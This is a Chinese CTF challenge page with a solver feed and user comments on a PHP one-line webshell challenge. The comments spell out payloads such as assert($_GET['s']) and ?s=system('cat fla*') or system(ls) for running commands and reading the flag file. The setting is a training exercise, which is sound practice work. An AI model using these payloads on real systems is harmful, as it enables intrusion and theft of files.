评分(11)
解题动态
星宇Sec 攻破了该题 7小时前
zjw00 攻破了该题 8小时前
XYZ321 攻破了该题 9小时前
wzzzh 攻破了该题 9小时前
huya. 攻破了该题 19小时前
luze 攻破了该题 1天前
lzr19960502 攻破了该题 1天前
一颗栗子君 攻破了该题 1天前
yezia 攻破了该题 1天前
ly9henxihuan 攻破了该题 1天前
zzz122 攻破了该题 1天前
快乐每一天 攻破了该题 2天前
Alivesen 攻破了该题 2天前
ohltc 攻破了该题 2天前
凌源u 攻破了该题 2天前
镜花水月 攻破了该题 3天前
AlfaRivieor 攻破了该题 3天前
错过的恨 攻破了该题 3天前
mahiru 攻破了该题 3天前
评论
树木有点绿 4年前
举报
就这？
AdminFuck 4年前
举报
nnm,退钱。
zxmals 4年前
举报
assert($_GET['s']) 这就是一句话过狗
answer 4年前
举报
就离谱 ?system(dir) .........文件名真不错，爱了爱了
iFound 4年前
举报
重点是描述的话，然后是小马用GET构造请求
god536 5年前
举报
/?s=system('cat fla*')
a2cai 5年前
举报
?我还以为作者要整条狗来看门呢，结果直接$_GET['s']=system('ls')就啥都出来了......
ximing 5年前
举报
根据描述应该应该是一个一句话木马，直接提交命令system(ls)，然后在直接访问flag文件
shan 5年前
举报
用system(dir)来过这个题目，是作者本来的思路吗。看评论好像大家用的方法还挺多种的。
yinyue 5年前
举报
不多说了，套娃了解下